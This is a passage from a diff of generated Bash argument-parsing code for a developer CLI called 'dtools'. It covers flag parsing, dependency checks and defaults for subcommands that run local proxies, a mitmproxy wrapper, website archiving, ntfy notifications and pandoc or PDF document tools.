else + printf "%s\n" "--hostname requires an argument: --hostname HOSTNAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --pfx-output) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--pfx-output']="$2" + shift + shift + else + printf "%s\n" "--pfx-output requires an argument: --pfx-output PFX_OUTPUT" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--output']+x} ]]; then + printf "missing required flag: --output OUTPUT\n" >&2 + exit 1 + fi + if [[ -z ${args['--key-output']+x} ]]; then + printf "missing required flag: --key-output KEY_OUTPUT\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--hostname']:-} ]] || args['--hostname']="localhost" + [[ -n ${args['--pfx-output']:-} ]] || args['--pfx-output']="false" + +} + +# :command.parse_requirements +dtools_network_https_proxy_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_https_proxy_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v socat >/dev/null 2>&1; then + printf "missing dependency: socat\n" >&2 + printf "%s\n\n" "Install with 'brew install socat'" >&2 + missing_deps=1 + else + deps['socat']="$(command -v socat | head -n1)" + fi + + # :dependency.filter + if ! command -v openssl >/dev/null 2>&1; then + printf "missing dependency: openssl\n" >&2 + printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 + missing_deps=1 + else + deps['openssl']="$(command -v openssl | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network https-proxy" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --https-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--https-port']="$2" + shift + shift + else + printf "%s\n" "--https-port requires an argument: --https-port HTTPS_PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --proxy-target-host) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--proxy-target-host']="$2" + shift + shift + else + printf "%s\n" "--proxy-target-host requires an argument: --proxy-target-host PROXY_TARGET_HOST" >&2 + exit 1 + fi + ;; + + # :flag.case + --proxy-target-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--proxy-target-port']="$2" + shift + shift + else + printf "%s\n" "--proxy-target-port requires an argument: --proxy-target-port PROXY_TARGET_PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --ssl-certificate) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--ssl-certificate']="$2" + shift + shift + else + printf "%s\n" "--ssl-certificate requires an argument: --ssl-certificate SSL_CERTIFICATE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--proxy-target-port']+x} ]]; then + printf "missing required flag: --proxy-target-port PROXY_TARGET_PORT\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--https-port']:-} ]] || args['--https-port']="443" + [[ -n ${args['--proxy-target-host']:-} ]] || args['--proxy-target-host']="localhost" + [[ -n ${args['--ssl-certificate']:-} ]] || args['--ssl-certificate']="/etc/devtools/dtools.pem" + +} + +# :command.parse_requirements +dtools_network_tcp_proxy_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_tcp_proxy_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v simpleproxy >/dev/null 2>&1; then + printf "missing dependency: simpleproxy\n" >&2 + printf "%s\n\n" "Install with 'sudo apt install simpleproxy'" >&2 + missing_deps=1 + else + deps['simpleproxy']="$(command -v simpleproxy | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network tcp-proxy" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --tcp-host) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--tcp-host']="$2" + shift + shift + else + printf "%s\n" "--tcp-host requires an argument: --tcp-host TCP_HOST" >&2 + exit 1 + fi + ;; + + # :flag.case + --tcp-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--tcp-port']="$2" + shift + shift + else + printf "%s\n" "--tcp-port requires an argument: --tcp-port TCP_PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --proxy-target-host) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--proxy-target-host']="$2" + shift + shift + else + printf "%s\n" "--proxy-target-host requires an argument: --proxy-target-host PROXY_TARGET_HOST" >&2 + exit 1 + fi + ;; + + # :flag.case + --proxy-target-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--proxy-target-port']="$2" + shift + shift + else + printf "%s\n" "--proxy-target-port requires an argument: --proxy-target-port PROXY_TARGET_PORT" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--tcp-port']+x} ]]; then + printf "missing required flag: --tcp-port TCP_PORT\n" >&2 + exit 1 + fi + if [[ -z ${args['--proxy-target-port']+x} ]]; then + printf "missing required flag: --proxy-target-port PROXY_TARGET_PORT\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--tcp-host']:-} ]] || args['--tcp-host']="0.0.0.0" + [[ -n ${args['--proxy-target-host']:-} ]] || args['--proxy-target-host']="localhost" + + # :command.user_filter + filter_error=$(filter_debian_based_os) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_network_proxy_with_nginx_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_proxy_with_nginx_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v nginx >/dev/null 2>&1; then + printf "missing dependency: nginx\n" >&2 + printf "%s\n\n" "Install with 'brew install nginx'" >&2 + missing_deps=1 + else + deps['nginx']="$(command -v nginx | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network proxy-with-nginx" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --tcp-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--tcp-port']="$2" + shift + shift + else + printf "%s\n" "--tcp-port requires an argument: --tcp-port TCP_PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --proxy-target-host) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--proxy-target-host']="$2" + shift + shift + else + printf "%s\n" "--proxy-target-host requires an argument: --proxy-target-host PROXY_TARGET_HOST" >&2 + exit 1 + fi + ;; + + # :flag.case + --proxy-target-protocol) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--proxy-target-protocol']="$2" + shift + shift + else + printf "%s\n" "--proxy-target-protocol requires an argument: --proxy-target-protocol PROXY_TARGET_PROTOCOL" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--proxy-target-host']+x} ]]; then + printf "missing required flag: --proxy-target-host PROXY_TARGET_HOST\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--tcp-port']:-} ]] || args['--tcp-port']="8080" + [[ -n ${args['--proxy-target-protocol']:-} ]] || args['--proxy-target-protocol']="http" + + # :command.whitelist_filter + if [[ ${args['--proxy-target-protocol']:-} ]] && [[ ! ${args['--proxy-target-protocol']:-} =~ ^(http|https)$ ]]; then + printf "%s\n" "--proxy-target-protocol must be one of: http, https" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_network_mitm_proxy_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_mitm_proxy_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v mitmproxy >/dev/null 2>&1; then + printf "missing dependency: mitmproxy\n" >&2 + printf "%s\n\n" "Install with 'brew install --cask mitmproxy'" >&2 + missing_deps=1 + else + deps['mitmproxy']="$(command -v mitmproxy | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network mitm-proxy" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--port']="$2" + shift + shift + else + printf "%s\n" "--port requires an argument: --port PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --script-file) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--script-file']="$2" + shift + shift + else + printf "%s\n" "--script-file requires an argument: --script-file SCRIPT_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['domain']+x} ]]; then + args['domain']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['domain']+x} ]]; then + printf "missing required argument: DOMAIN\nusage: dtools network mitm-proxy DOMAIN [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--port']:-} ]] || args['--port']="8080" + + # :command.validations + # :flag.validations + if [[ -v args['--script-file'] ]]; then + validation_output="$(validate_file_exists "${args['--script-file']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--script-file SCRIPT_FILE" "$validation_output" >&2 + exit 1 + fi + fi + +} + +# :command.parse_requirements +dtools_network_archive_website_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_archive_website_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then + printf "missing dependency: docker\n" >&2 + printf "%s\n\n" "Install with 'dtools install docker'" >&2 + missing_deps=1 + else + deps['docker']="$(command -v docker | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network archive-website" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --shm-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--shm-size']="$2" + shift + shift + else + printf "%s\n" "--shm-size requires an argument: --shm-size SHM_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --url) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--url']="$2" + shift + shift + else + printf "%s\n" "--url requires an argument: --url URL" >&2 + exit 1 + fi + ;; + + # :flag.case + --name) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--name']="$2" + shift + shift + else + printf "%s\n" "--name requires an argument: --name NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --output) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--output']="$2" + shift + shift + else + printf "%s\n" "--output requires an argument: --output OUTPUT_DIRECTORY" >&2 + exit 1 + fi + ;; + + # :flag.case + --limit) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--limit']="$2" + shift + shift + else + printf "%s\n" "--limit requires an argument: --limit LIMIT" >&2 + exit 1 + fi + ;; + + # :flag.case + --behaviors) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--behaviors']="$2" + shift + shift + else + printf "%s\n" "--behaviors requires an argument: --behaviors BEHAVIORS" >&2 + exit 1 + fi + ;; + + # :flag.case + --exclude) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--exclude']="$2" + shift + shift + else + printf "%s\n" "--exclude requires an argument: --exclude EXCLUDE_REGEX" >&2 + exit 1 + fi + ;; + + # :flag.case + --workers) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--workers']="$2" + shift + shift + else + printf "%s\n" "--workers requires an argument: --workers WORKERS" >&2 + exit 1 + fi + ;; + + # :flag.case + --wait-until) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--wait-until']="$2" + shift + shift + else + printf "%s\n" "--wait-until requires an argument: --wait-until WAIT_UNTIL" >&2 + exit 1 + fi + ;; + + # :flag.case + --keep) + + # :flag.case_no_arg + args['--keep']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--url']+x} ]]; then + printf "missing required flag: --url URL\n" >&2 + exit 1 + fi + if [[ -z ${args['--name']+x} ]]; then + printf "missing required flag: --name NAME\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--shm-size']:-} ]] || args['--shm-size']="2gb" + [[ -n ${args['--output']:-} ]] || args['--output']="/output" + [[ -n ${args['--behaviors']:-} ]] || args['--behaviors']="autoplay,autofetch,siteSpecific" + [[ -n ${args['--wait-until']:-} ]] || args['--wait-until']="load" + +} + +# :command.parse_requirements +dtools_network_warc_2_zim_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_warc_2_zim_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then + printf "missing dependency: docker\n" >&2 + printf "%s\n\n" "Install with 'dtools install docker'" >&2 + missing_deps=1 + else + deps['docker']="$(command -v docker | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network warc-2-zim" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --shm-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--shm-size']="$2" + shift + shift + else + printf "%s\n" "--shm-size requires an argument: --shm-size SHM_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --url) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--url']="$2" + shift + shift + else + printf "%s\n" "--url requires an argument: --url URL" >&2 + exit 1 + fi + ;; + + # :flag.case + --name) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--name']="$2" + shift + shift + else + printf "%s\n" "--name requires an argument: --name NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --output) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--output']="$2" + shift + shift + else + printf "%s\n" "--output requires an argument: --output OUTPUT_DIRECTORY" >&2 + exit 1 + fi + ;; + + # :flag.case + --limit) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--limit']="$2" + shift + shift + else + printf "%s\n" "--limit requires an argument: --limit LIMIT" >&2 + exit 1 + fi + ;; + + # :flag.case + --behaviors) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--behaviors']="$2" + shift + shift + else + printf "%s\n" "--behaviors requires an argument: --behaviors BEHAVIORS" >&2 + exit 1 + fi + ;; + + # :flag.case + --exclude) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--exclude']="$2" + shift + shift + else + printf "%s\n" "--exclude requires an argument: --exclude EXCLUDE_REGEX" >&2 + exit 1 + fi + ;; + + # :flag.case + --workers) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--workers']="$2" + shift + shift + else + printf "%s\n" "--workers requires an argument: --workers WORKERS" >&2 + exit 1 + fi + ;; + + # :flag.case + --wait-until) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--wait-until']="$2" + shift + shift + else + printf "%s\n" "--wait-until requires an argument: --wait-until WAIT_UNTIL" >&2 + exit 1 + fi + ;; + + # :flag.case + --keep) + + # :flag.case_no_arg + args['--keep']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--url']+x} ]]; then + printf "missing required flag: --url URL\n" >&2 + exit 1 + fi + if [[ -z ${args['--name']+x} ]]; then + printf "missing required flag: --name NAME\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--shm-size']:-} ]] || args['--shm-size']="2gb" + [[ -n ${args['--output']:-} ]] || args['--output']="/output" + [[ -n ${args['--behaviors']:-} ]] || args['--behaviors']="autoplay,autofetch,siteSpecific" + [[ -n ${args['--wait-until']:-} ]] || args['--wait-until']="load" + +} + +# :command.parse_requirements +dtools_network_mermaid_api_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_mermaid_api_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then + printf "missing dependency: docker\n" >&2 + printf "%s\n\n" "Install with 'dtools install docker'" >&2 + missing_deps=1 + else + deps['docker']="$(command -v docker | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network mermaid-api" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['port']+x} ]]; then + args['port']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['port']:-} ]] || args['port']="8087" + + # :command.validations + # :argument.validations + if [[ -v args['port'] ]]; then + validation_output="$(validate_integer "${args['port']:-}")" + if [[ -n "$validation_output" ]]; then + printf "validation error in %s:\n%s\n" "PORT" "$validation_output" >&2 + exit 1 + fi + fi + +} + +# :command.parse_requirements +dtools_ntfy_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ntfy_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ntfy >/dev/null 2>&1; then + printf "missing dependency: ntfy\n" >&2 + printf "%s\n\n" "Ensure ntfy is installed and configured (see 'https://docs.ntfy.sh/install/')" >&2 + missing_deps=1 + else + deps['ntfy']="$(command -v ntfy | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + subscribe) + action="subscribe" + shift + dtools_ntfy_subscribe_parse_requirements "$@" + shift $# + ;; + + reference) + action="reference" + shift + dtools_ntfy_reference_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_ntfy_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_ntfy_subscribe_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ntfy_subscribe_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v mpg321 >/dev/null 2>&1; then + printf "missing dependency: mpg321\n" >&2 + printf "%s\n\n" "Install with 'brew install mpg321'" >&2 + missing_deps=1 + else + deps['mpg321']="$(command -v mpg321 | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="ntfy subscribe" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --sound | -s) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--sound']="$2" + shift + shift + else + printf "%s\n" "--sound requires an argument: --sound, -s SOUND" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['topic']+x} ]]; then + args['topic']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['topic']:-} ]] || args['topic']="alerts" + +} + +# :command.parse_requirements +dtools_ntfy_reference_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ntfy_reference_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="ntfy reference" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_document_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_document_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + convert) + action="convert" + shift + dtools_document_convert_parse_requirements "$@" + shift $# + ;; + + merge-pdf) + action="merge-pdf" + shift + dtools_document_merge_pdf_parse_requirements "$@" + shift $# + ;; + + decrypt-pdf) + action="decrypt-pdf" + shift + dtools_document_decrypt_pdf_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_document_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_document_convert_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_document_convert_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v pandoc >/dev/null 2>&1; then + printf "missing dependency: pandoc\n" >&2 + printf "%s\n\n" "Install with 'brew install pandoc'" >&2 + missing_deps=1 + else + deps['pandoc']="$(command -v pandoc | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="document convert" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --source-format) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--source-format']="$2" + shift + shift + else + printf "%s\n" "--source-format requires an argument: --source-format SOURCE_FORMAT" >&2 + exit 1 + fi + ;; + + # :flag.case + --target-format) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--target-format']="$2" + shift + shift + else + printf "%s\n" "--target-format requires an argument: --target-format TARGET_FORMAT" >&2 + exit 1 + fi + ;; + + # :flag.case + --output-file) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--output-file']="$2" + shift + shift + else + printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['file']+x} ]]; then + args['file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['file']+x} ]]; then + printf "missing required argument: FILE\nusage: dtools document convert FILE [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.required_flags_filter + if [[ -z ${args['--source-format']+x} ]]; then + printf "missing required flag: --source-format SOURCE_FORMAT\n" >&2 + exit 1 + fi + if [[ -z ${args['--target-format']+x} ]]; then + printf "missing required flag: --target-format TARGET_FORMAT\n" >&2 + exit 1 + fi + + # :command.whitelist_filter + if [[ ${args['--source-format']:-} ]] && [[ ! ${args['--source-format']:-} =~ ^(bibtex|biblatex|bits|commonmark|commonmark_x|creole|csljson|csv|tsv|djot|docbook|docx|dokuwiki|endnotexml|epub|fb2|gfm|haddock|html|ipynb|jats|jira|json|latex|markdown|markdown_mmd|markdown_phpextra|markdown_strict|mediawiki|man|mdoc|muse|native|odt|opml|org|pod|ris|rtf|rst|t2t|textile|tikiwiki|twiki|typst|vimwiki)$ ]]; then + printf "%s\n" "--source-format must be one of: bibtex, biblatex, bits, commonmark, commonmark_x, creole, csljson, csv, tsv, djot, docbook, docx, dokuwiki, endnotexml, epub, fb2, gfm, haddock, html, ipynb, jats, jira, json, latex, markdown, markdown_mmd, markdown_phpextra, markdown_strict, mediawiki, man, mdoc, muse, native, odt, opml, org, pod, ris, rtf, rst, t2t, textile, tikiwiki, twiki, typst, vimwiki" >&2 + exit 1 + fi + if [[ ${args['--target-format']:-} ]] && [[ ! ${args['--target-format']:-} =~ ^(ansi|asciidoc|asciidoc_legacy|asciidoctor|beamer|bibtex|biblatex|chunkedhtml|commonmark|commonmark_x|context|csljson|djot|docbook|docbook5|docx|dokuwiki|epub|epub2|fb2|gfm|haddock|html|html4|icml|ipynb|jats_archiving|jats_articleauthoring|jats_publishing|jats|jira|json|latex|man|markdown|markdown_mmd|markdown_phpextra|markdown_strict|markua|mediawiki|ms|muse|native|odt|opml|opendocument|org|pdf|plain|pptx|rst|rtf|texinfo|textile|slideous|slidy|dzslides|revealjs|s5|tei|typst|xwiki|zimwiki)$ ]]; then + printf "%s\n" "--target-format must be one of: ansi, asciidoc, asciidoc_legacy, asciidoctor, beamer, bibtex, biblatex, chunkedhtml, commonmark, commonmark_x, context, csljson, djot, docbook, docbook5, docx, dokuwiki, epub, epub2, fb2, gfm, haddock, html, html4, icml, ipynb, jats_archiving, jats_articleauthoring, jats_publishing, jats, jira, json, latex, man, markdown, markdown_mmd, markdown_phpextra, markdown_strict, markua, mediawiki, ms, muse, native, odt, opml, opendocument, org, pdf, plain, pptx, rst, rtf, texinfo, textile, slideous, slidy, dzslides, revealjs, s5, tei, typst, xwiki, zimwiki" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_document_merge_pdf_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_document_merge_pdf_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v pdftk >/dev/null 2>&1; then + printf "missing dependency: pdftk\n" >&2 + printf "%s\n\n" "Install with 'brew install pdftk-java'" >&2 + missing_deps=1 + else + deps['pdftk']="$(command -v pdftk | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="document merge-pdf" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --input-file | -i) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + escaped="$(printf '%q' "$2")" + if [[ -z ${args['--input-file']+x} ]]; then + args['--input-file']="$escaped" + else + args['--input-file']="${args['--input-file']} $escaped" + fi + shift + shift + else + printf "%s\n" "--input-file requires an argument: --input-file, -i INPUT_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['output-file']+x} ]]; then + args['output-file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['output-file']+x} ]]; then + printf "missing required argument: OUTPUT-FILE\nusage: dtools document merge-pdf OUTPUT-FILE [OPTIONS]\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements 